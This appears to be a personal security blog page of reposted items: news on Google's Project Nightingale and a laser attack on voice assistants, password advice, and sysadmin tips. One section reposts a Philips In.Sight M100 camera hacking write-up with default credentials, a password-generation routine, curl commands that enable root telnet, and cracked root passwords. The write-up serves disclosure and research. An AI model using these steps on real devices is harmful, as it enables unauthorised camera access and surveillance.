Skip to content

Google’s ‘Project Nightingale’ Gathers Personal Health Data on Millions of Americans – Wall Street Journal

Google is engaged with one of the U.S.’s largest health-care systems on a project to collect and crunch the detailed personal-health information of millions of people across 21 states.

The initiative, code-named “Project Nightingale,” appears to be the biggest effort yet by a Silicon Valley giant to gain a toehold in the health-care industry through the handling of patients’ medical data. Amazon.com Inc., Apple Inc. and Microsoft Corp. are also aggressively pushing into health care, though they haven’t yet struck deals of this scope.

Google began Project Nightingale in secret last year with St. Louis-based Ascension, a Catholic chain of 2,600 hospitals, doctors’ offices and other facilities, with the data sharing accelerating since summer, according to internal documents.

The data involved in the initiative encompasses lab results, doctor diagnoses and hospitalization records, among other categories, and amounts to a complete health history, including patient names and dates of birth.

Reference:

https://www.wsj.com/articles/google-s-secret-project-nightingale-gathers-personal-health-data-on-millions-of-americans-11573496790

 

 

 

Hacker News: Hackers Can Control Google Home, Alexa, Siri With Laser

A team of cybersecurity researchers has discovered a clever technique to remotely inject inaudible and invisible commands into voice-controlled devices — all just by shining a laser at the targeted device instead of using spoken words.

Dubbed ‘Light Commands,’ the hack relies on a vulnerability in MEMS microphones embedded in widely-used popular voice-controllable systems that unintentionally respond to light as if it were sound.

According to experiments done by a team of researchers from Japanese and Michigan Universities, a remote attacker standing at a distance of several meters away from a device can covertly trigger the attack by simply modulating the amplitude of laser light to produce an acoustic pressure wave.

“By modulating an electrical signal in the intensity of a light beam, attackers can trick microphones into producing electrical signals as if they are receiving genuine audio,” the researchers said in their paper [PDF].

Doesn’t this sound creepy? Now read this part carefully…

Smart voice assistants in your phones, tablets, and other smart devices, such as Google Home and Nest Cam IQ, Amazon Alexa and Echo, Facebook Portal, Apple Siri devices, are all vulnerable to this new light-based signal injection attack.

“As such, any system that uses MEMS microphones and acts on this data without additional user confirmation might be vulnerable,” the researchers said.

Since the technique ultimately allows attackers to inject commands as a legitimate user, the impact of such an attack can be evaluated based on the level of access your voice assistants have over other connected devices or services.

Therefore, with the light commands attack, the attackers can also hijack any digital smart systems attached to the targeted voice-controlled assistants, for example:

  • Control smart home switches,
  • Open smart garage doors,
  • Make online purchases,
  • Remotely unlock and start certain vehicles,
  • Open smart locks by stealthily brute-forcing the user’s PIN number.

As shown in the video demonstration listed below: In one of their experiments, researchers simply injected “OK Google, open the garage door” command to a Google Home by shooting a laser beam at Google Home that was connected to it and successfully opened a garage door.

In a second experiment, the researchers successfully issued the same command, but this time from a separate building, about 230 feet away from the targeted Google Home device through a glass window.

Besides longer-range devices, researchers were also able to test their attacks against a variety of smartphone devices that use voice assistants, including iPhone XR, Samsung Galaxy S9, and Google Pixel 2, but they work only at short distances.

The maximum range for this attack depends upon the power of the laser, the intensity of the light, and of course, your aiming capabilities. Besides this, physical barriers (e.g., windows) and the absorption of ultrasonic waves in the air can further reduce the range of the attack.

Moreover, in cases where speech recognition is enabled, attackers can defeat the speaker authentication feature by constructing the recording of desired voice commands from relevant words spoken by the device’s legitimate owner.

According to the researchers, these attacks can be mounted “easily and cheaply,” using a simple laser pointer (under $20), a laser driver ($339), and a sound amplifier ($28). For their set up, they also used a telephoto lens ($199.95) to focus the laser for long-range attacks.

How can you protect yourself against the light vulnerability in real-life? Software makers should offer users to add an additional layer of authentication before processing commands to mitigate malicious attacks.

For now, the best and common solution is to keep the line of sight of your voice assistant devices physically blocked from the outside and avoid giving it access to things that you don’t want someone else to access.

voice activated smart assistant hacking

The team of researchers—Takeshi Sugawara from the Japan’s University of Electro-Communications and Mr. Fu, Daniel Genkin, Sara Rampazzi, and Benjamin Cyr from the University of Michigan—also released their findings in a paper [PDF] on Monday.

Genkin was also one of the researchers who discovered two major microprocessor vulnerabilities, known as Meltdown and Spectre, last year.

Reference:

https://thehackernews.com/2019/11/hacking-voice-assistant-laser.html

Check if your email has been hacked

Check if your email address has been compromised.

https://haveibeenpwned.com/

Type in your email and see if its been breached.

email leaked

How to hack Philips IP Cameras

Here’s some tools for password audits and tests to find weak passwords, along with how to hack Philips IP Cameras.

https://darkport.co.uk/blog/a-close-look-at-the-philips-in-sight-ip-camera-range/

… this time we’ll be taking a look at the device itself, the Philips In.Sight M100. The end goal is to pop a root shell on the device which we successfully accomplish by exploiting mutiple vulnerabilities.

A bit of R&R

Let’s start with the basics. After a little bit of Google-foo we find the camera is based on the Maxim MG3500 board. The data sheet reveals it has a ARM9 processor and runs Linux. From a software perspective it mentions an embedded web server, RTP streaming, based of the 2.6.20 kernel, runs busybox and has LUA built in. There’s even talk of a toolchain which may come in handy later on.

To get the camera connected to the network you have to use the setup wizard in the Android or iOS app. You are asked for your WiFi password which is then encoded in to a QR code for your camera to read so it can connect:

WIFI:T:WPAPSK2_AES;S:SSID;P:KEY;;12:1:;IP:10.10.0.2;PID:2000;TZ:GMT+0:00##+  
        

After a few seconds the camera flashes green to notify you it’s connected. We confirm this from my routers ARP table:

10.10.0.3   00:00:48:02:2A:E3:6C  
        

and a ping. I suspect port 80 and RTP ports will be open, let’s check with an nmap scan:

root@debian: # nmap -v -O -sV -A -T4 10.10.0.3  
        [...]
        23/tcp   open  telnet      syn-ack Busybox telnetd  
        80/tcp   open  http        syn-ack lighttpd 1.4.24  
        88/tcp   open  tcpwrapped  syn-ack  
        554/tcp  open  sip         syn-ack RtpRtspServer (Status: 200 OK)  
        1935/tcp open  rtmp?       syn-ack  
        8080/tcp open  http-proxy? syn-ack  
        

Telnet seems like a good place to start. After a few login attempts using common root passwords I notice there is a ~5 seconds delay between each attempt so unfortunately it looks like an online brute force attack is out of the question.

The web interface doesn’t give much out either and requires authentication. We know the Android app talks to the camera directly, presumably through the web interface or some sort of API, so let’s run it through apktool and take a look at the Java code.

The Android App

In the class HttpCommon we find these static variables:

public static final String CAMERA_USERNAME = "admin";  
        public static final String CAM_DEFAULT_PASSWD = "M100-4674448";  
        

Really?

Really. Okay, so we don’t get much and trying regular directories (/admin, /cgi-bin) doesn’t give us anything. Fortunately our friend HttpCommon gives us a list of all available resources. A few in particular caught my eye:

public static final String HTTP_RES_ROOT_PATH = "/cgi-bin/v1";  
        public static final String HTTP_RES_CAMERA = "/camera";  
        public static final String HTTP_RES_FW_AUTOUPGRADE = "/firmware/autoupgrade";  
        public static final String HTTP_RES_FW_VERSION = "/firmware/version";  
        public static final String HTTP_RES_JPEG_BIG = "/cgi-bin/img-0.cgi";  
        public static final String HTTP_RES_RTSP_SES_BIG = "/stream0";  
        public static final String HTTP_RES_SET_CAM_PASSWD = "/users/admin";  
        

The last one got me excited. But let’s start from the top.

GET /camera returned a 404. Hmm. Get /cgi-bin/img-0.cgi worked and spits out a picture from the camera. Everything else 404’d. The first variable stood out: HTTP_RES_ROOT_PATH. Maybe… GET /cgi-bin/v1/camera – bingo! GET /stream0 shows me a live video stream, very handy for snooping.

From the Java code we can see that /users/admin is a POST request with an XML body, here’s a typical request:

curl -H 'Authorization: b64(admin:M100-4674448)' -H 'Content-Type: application/xml' -X 'POST' --data '<users><admin><password s="newpassword" /></admin></users>' 'http://10.10.0.3/cgi-bin/v1/users/admin'  
        

And the password has been changed. This didn’t work for root and you can’t login with them via telnet so I assume it has it’s own internal database.

At least now I can view the camera stream, listen to live audio and even view DropBox oAuth keys, Twitter username/password and YouTube username/password if the user has set them.

It’s at this point I decided to update the firmware as there’s no point in finding a root exploit if it’s already been patched. Unfortunately this disabled telnet :-(. I then registered the camera with Yoics which disabled the default password. Let’s see what’s going on.

When you first register the device with Yoics it changes the admin password via the POST /users/admin HTTP request. Lucky for us the password is generated client side in the Android app via this function:

public static String generateCamPassword(String paramString)  
        {
            String str = generateMd5Hash(paramString).substring(0, 10);
            return "i" + str;
        }
        

This calculates the md5 of paramString, which is the cameras MAC address, takes the first 10 characters and appends it to i. So given our MAC of 00:00:48:02:2A:E3:6C we can generate a password of i2a5f126c7eAnd we’re back in.

Now I’m pretty sure that if we sit and blind inject various CGI scripts we could escalate our privileges, but ain’t nobody got time for that. Let’s go deeper.

The Firmware

We now know the camera can download and update it’s own firmware so let’s extract it ourselves and find out what lies within.

Obtaining

When you first open up the Philips Android app it makes a request to http://philips.yoics.net/M100/philips_insight_m100_revisions.xml and saves the response locally. The file contains a list of firmware revisions and this is the latest:

<revision>  
            <RevisionSequence>7.3</RevisionSequence> 
            <RevisionVersion>47283</RevisionVersion> 
            <ReleaseDate>12Nov2014_1807</ReleaseDate> 
            <ReleaseLabel>7.3</ReleaseLabel> 
            <iOSState>active</iOSState> 
            <iOSMinCompatability>1.8</iOSMinCompatability> 
            <AndroidState>active</AndroidState> 
            <AndroidMinCompatability>1.2.5</AndroidMinCompatability> 
            <DownloadURL> http://philips.yoics.net/M100/RC7.3</DownloadURL> 
            <ReleaseNotes>Dropbox TLS SSL Support</ReleaseNotes> 
            <ReleaseNotesURL> http://philips.yoics.com/M100/RC7.3/release_notes.txt</ReleaseNotesURL> 
            <UpgradeMode>0</UpgradeMode> 
            <Priority>Critical</Priority> 
            <UserFilter /> 
            <ReminderDays>1</ReminderDays> 
            <FullUpgradeRequired>5.4,5.5</FullUpgradeRequired> 
        </revision>  
        

The DownloadUrl returns a 403 so I suspect we need to append a filename as well, let’s confirm this. When you click the “update firmware” button in the Android app it sends the request POST /firmware/autoupgrade to the camera with the XML body:

<firmware>  
            <autoupgrade>
                <path s="DOWNLOAD_URL_FROM_ABOVE" />
                <type ul="M100" />
            </autoupgrade>
        </firmware>  
        

Presumably the camera has hard-coded strings of the file names and appends it to the download URL. The easiest way to find the filename is to replay the above request but change the path to a HTTP server we control so we can see what is being requested.

I later learned that there is no signature checking of any kind for the firmware so it’s pretty much game over from here. You could write your own firmware (using the Toolchain above) and get the camera to install it.

We then see three files requested within the logs:

http://10.10.0.2/m100_12_fuz_eng.gz  
        http://10.10.0.2/Philips-InSight-snor-data.tgz  
        http://10.10.0.2/Philips-InSight-snor-rootfs.img  
        
Extracting

Let’s start with Philips-InSight-snor-rootfs.img where the actual URL is http://philips.yoics.net/M100/RC7.3/Philips-InSight-snor-rootfs.img:

root@debian: # file Philips-InSight-snor-rootfs.img  
        Philips-InSight-snor-rootfs.img: Squashfs filesystem, little endian, version 4.0, 6548147 bytes, 948 inodes, blocksize: 131072 bytes, created: Thu Nov 13 02:18:09 2014  
        root@debian: # unsquashfs Philips-InSight-snor-rootfs.img  
        [===================================================================\] 847/847 100%
        

Well that was easy. I was at least expecting it to be LZMA compressed with offets changed or some sort of XOR encryption. No fun!

Popping Shells

First thing’s first:

root@debian: # cat ./squashfs-root/etc/shadow  
        root:acotQ3OjTXpo.:12773:0:99999:7:::  
        admin:CTedwasnlmwJM:12773:0:99999:7:::  
        mg3500:aa6nn6TYobAEw:12773:0:99999:7:::  
        

We’ll let John have a pop at them, you never kn… oh, straight away it found the mg3500 user with a password of merlin. Since telnet was now disabled we can’t do much with it. Let’s try our luck:

root@debian: # fgrep -Rli "telnetd" ./squashfs-root/*  
        var/www/cgi-bin/cam_service_enable.cgi  
        root@debian: # cat ./squashfs-root/var/www/cgi-bin/cam_service_enable.cgi  
        echo "telnet stream tcp nowait root /usr/sbin/telnetd /usr/sbin/telnetd" > /tmp/inetd.conf  
        

Very lucky indeed. The script adds telnet (running as root) to the list of startup services. Let’s call the script using the credentials we generated earlier, and try telnet again:

root@debian: # curl -H 'Authorization: b64(admin:i2a5f126c7e)' 'http://10.10.0.3/cgi-bin/cam_service_enable.cgi'  
        root@debian: # telnet 10.10.0.3  
        Login: mg3500  
        Password: merlin  
        mg3500@m100: $  
        

And we’re in. As expected from an embedded device everything is read-only and held in RAM, unless you write to the NVRAM. Permissions are totally locked down and no files are writeable by our user. If we run ps to get a list of processes I notice that the HTTP server (lighttpd 1.4.24) is running as root, oh dear.

Looking at the httpd configs and physical file paths I come across an admin page (/7445477) which allows you view/set every option thinkable:

Hold up… John has found the root password: insightr.

root@debian: # telnet 10.10.0.3  
        Login: root  
        Password: insightr  
        mg3500@m100: #  
        

Reference

https://darkport.co.uk/

From the blog

Latest projects

  • Passlo
    Helps businesses protect against the number one cause of data breaches.
  • shhgit
    Find GitHub secrets in real time.
  • Bucket Stream
    Find interesting Amazon S3 Buckets by watching certificate transparency logs.
  • cracke-dit
    Easier Active Directory password audits!
  • The Endorser
    OSINT tool to pluck out LinkedIn relationships via endorsements.
  • Needl
    Generates fake genuine-looking Internet traffic.

UPTIME – Windows Servers

All Linux servers have the wonderful uptime command.  The question is, does this exist for Windows Servers, and the answer is yes.

Step 1 – Task Manager

Right click Task bar, select Task Manager.  or  Ctl-Alt-Del – Task Manager

Task Manager > CPU Tab > Uptime

UPTIME WINDOWS SERVERS VIA TASK MANAGER

 

Step 2 – Command line

The systeminfo command shows a lot of information.

CMD >

systeminfo | findstr “Time:”

uptime windows servers

 

Step 3 – uptime.exe

Microsoft have a legacy uptime.exe.  But everytime I try to find this utility the page has been moved.

Wiki states The time given by Uptime.exe is not reliable. It does not take into account time spent in sleep or hibernation. Thus, the boot time will drifts forward every time the computer sleeps or hibernates.

 

Step 4 – WMI – lastbootuptime

Windows Management Instrumentation offers an option, that is not impressive.

wmic os get lastbootuptime

uptime wmic

Step 5 – Net

C:\>NET STATISTICS WORKSTATION | findstr "since"

uptime net command

Have fun!

PASSWORD HACKING: Everything you’ve been told about passwords is wrong

The US expert who wrote the standard for password security now says he was wrong – and it’s time for a new way.

In 2003, Bill Burr was a technology manager for the US National Institute of Standards and Technology (NIST) when he was tasked with writing some brief guidelines for password security. He recommended that passwords have a minimum of eight characters with a mix of capitals, numbers and symbols, and be updated frequently.

Soon Burr’s rules were adopted by organisations around the world. Now he says he not only regrets his recommendations, but that they have inadvertently led people to choose poor passwords that are actually easier for hackers to crack.

How hackers discover your password

The aim of Burr’s rules was to defeat what are known as “brute-force” attacks, where hackers use sheer computing power to try thousands of possible passwords, until they stumble on the right combination. By adding more character sets to the mix, you exponentially increase the number of possible combinations an attacker must try.

Consider an eight-character password (e.g. password). If it contains just lower case letters, the number of possible combinations is 26^8, around 208.8 billion. This sounds impressive – until you realise it can take as little as 1.8 seconds for a modern supercomputer or botnet to break such a password.

Add uppercase letters (e.g. PassWord), and the number of combinations is multiplied 256 times, to 52^8. Add digits and symbols (e.g. P@$$w0rd), and it becomes as high as 95^8, requiring much more time to crack, even with an enslaved botnet army hard at work.

The problem, says Gernot Heiser, Scientia professor at the University of New South Wales’ School of Computer Science and Engineering, is that today’s hackers rarely start with a blank slate.

Instead, they begin by searching for English words plus common substitutions, such as $ for S. That makes them very well adapted to breaking exactly the kind of P@ssw0rd$ users tend to create when struggling to comply with Burr’s rules.

How to choose a strong password

The solution, says Heiser, is to use long, memorable passphrases rather than passwords. Ideally, they would be an unforgettable combination of unexpected words, rather than a predictable English sentence. The more characters you add, the longer they’ll take to crack.

“If you choose longer, more complex passphrases with random words, a brute force attack becomes massively harder mathematically,” says Heiser.

He also says Burr’s original advice on changing passwords frequently is flawed – if only because it encourages users to choose shorter and simpler passwords that can be altered with relatively small changes (P@ssw0rd1 in January and P@ssw0rd2 in February, for example).

“The added protection of changing passwords is negative,” Heiser explains. “It’s safer to keep a longer, more complex password than to change it regularly to a simple one with variations that are easier to remember, but simpler to crack.”

Professional Development: CPA Q&A. Access a handpicked selection of resources each month and complete a short monthly assessment to earn CPD hours. Exclusively available to CPA Australia members.

Bring in a password manager

As more of our lives are lived online, we collect more and more passwords. Repeating them across sites is dangerous, since a data breach at a relatively unimportant service provider can leave other, more critical sites wide open. So how are we to remember them all?

Associate professor Mark Gregory from the School of Engineering at RMIT uses the same method he’s employed since the 90s: putting his passwords into a text file, then encrypting it.

“I have about 1000 passwords now, so they’re impossible to remember,” says Gregory. “By encrypting them, I only have to remember one super password to access all of them.”

A more formal version of this same idea is to use a password management system readily available online.

They store all of your passwords in the one place, are encrypted, with only one password for you to manage.

You only need to remember one password to access the system — it takes care of the rest. While premium password managers charge a usually nominal yearly fee, Gregory points out that it’s a small price to pay compared to the potential devastation caused by criminals accessing your data, impersonating you, or getting into your bank account.

How to strengthen your password security

Matthew Byrne is a principal consultant in threat intelligence and cyber defence at Mandiant, and a lecturer at the Australian Centre for Cyber Security. He suggests adding another layer of protection, by enabling the multi-factor authentication option offered by most online banks and major service providers, including Facebook, Gmail, Skype and LinkedIn.

“Using the multi-factor authentication feature means you must use at least two steps to access your information,” Byrne explains.

“This could be entering a code sent to your phone or answering a question that only you know. So if someone gets your password, they’ve only got half of what they need to break in and steal your identity.”

Both Heiser and Byrne agree that the best security available is a combination of password, multi-factor authentication and biometrics, such as fingerprint or facial recognition. This makes it very hard for a hacker to get past, but even this isn’t completely foolproof, as the recent hack of the Samsung S8 iris scanner demonstrated.

“People have fooled fingerprint and iris scanners with photographs,” says Heiser.

The 10 worst passwords

This list is from SplashData’s list of the top 100 worst passwords for 2017, taken from leaked lists of hacked passwords, from most to least common.

123456
password
qwerty
letmein
football
iloveyou
admin
welcome
monkey
login

 

Reference:

https://www.intheblack.com/articles/2018/02/19/everything-about-passwords-is-wrong

XML Security

Recently, I came across a site that deals with XML Security, and includes several tools.

Here’s the link:

https://www.aleksey.com/xmlsec/api/xmlsec-notes.html

Signing a Document

https://www.aleksey.com/xmlsec/api/xmlsec-notes-sign.html

The typical signature process includes following steps:

Online Digital Signature Verifier

https://www.aleksey.com/xmlsec/xmldsig-verifier.html

ECDSA versus RSA – A Comparison of Elliptical Curve Digital Signature Algorithm to RSA

Since the origin of SSL, webservers generated Public/Private keys  using RSA.  However, using strong RSA keys proved slow and expensive in CPU terms.  RSA does not scale well, and slows web performance.

RSA 2048 provides around 112 bits of security.   To achieve 128 bits of security, we need RSA 3072, which is slower, and impacts upon performance.

An alternative to RSA is ECC or Elliptic Curve Cryptography, which uses block ECC enabled TLS.  It uses significantly less CPU cycles, and is very scalable..

ECC 256 bit uses a more advanced algorithm than RSA 2048 bit, but uses a smaller key (only 256 bits).  Therefore it uses fewer CPU cycles to encrypt data, which improves website performance.

ECC 256 bit is 64,000 harder to crack than standard RSA 2048 bit.  Therefore in security terms, ECC is the best option.

We can install Hybrid certificates with an RSA root, and signed by an ECC key.

 

Known Issues

RSA is widely deployed by legacy browsers.

Only TLS 1.2 supports the latest and fastest ciphers.

Some Android devices incorrectly generated random values with ECC.

 

Conclusion

RSA is too expensive to use for security above RSA 2048.

Implement TLS 1.2.

Move to Elliptic Curve algorithms.

 

Reference

Gilchrist A.  (2017).  The Concise Guide to SSL/TLS for DevOps.  2nd end. RG Consulting

https://www.amazon.co.uk/Concise-Guide-SSL-TLS-DevOps/dp/1521278628/

 

 

CENTOS LINUX – How to apply Microcode Patches – CPU

Several hacks have exposed flaws in the Intel CPU.  These patches are called “microcode” and are to patch the CPU.

yum check updates

yum install

Reboot.  As microcode is being installed to the CPU, a reboot is always required.

Sudo dmesg | grep ‘microcode’

microcode patches centos

Another way to check the microcode has been installed.

rpm -qa –last | grep microcode

microcode list microcode patches

 

Reference:

https://www.cyberciti.biz/faq/install-update-intel-microcode-firmware-linux/

 

Alternatives to Google

Great article on alternative search engines.  Startpage returns Google search results, but they strip away your IP, so that Google never know who you are.

https://www.techspot.com/news/80729-complete-list-alternatives-all-google-products.html

 

Google search alternatives

When it comes to privacy, using Google search is not a good idea. When you use their search engine, Google is recording your IP address, search terms, user agent, and often a unique identifier, which is stored in cookies.

Here are ten alternatives to Google search:

  • StartPage – StartPage gives you Google search results, but without the tracking (based in the Netherlands).
  • Searx – A privacy-friendly and versatile metasearch engine that’s also open source.
  • MetaGer – An open source metasearch engine with good features, based in Germany.
  • SwissCows – A zero-tracking private search engine based in Switzerland, hosted on secure Swiss infrastructure.
  • Qwant – A private search engine based in France.
  • DuckDuckGo – A private search engine based in the US.
  • Mojeek – The only true search engine (rather than metasearch engine) that has its own crawler and index (based in the UK).
  • YaCy – A decentralized, open source, peer-to-peer search engine.
  • Givero – Based in Denmark, Givero offers more privacy than Google and combines search with charitable donations.
  • Ecosia – Ecosia is based in Germany and donates a part of revenues to planting trees.

Note: With the exception of Mojeek, all of the private search engines above are technically metasearch engines, since they source their results from other search engines, such as Bing and Google.

 

%d bloggers like this: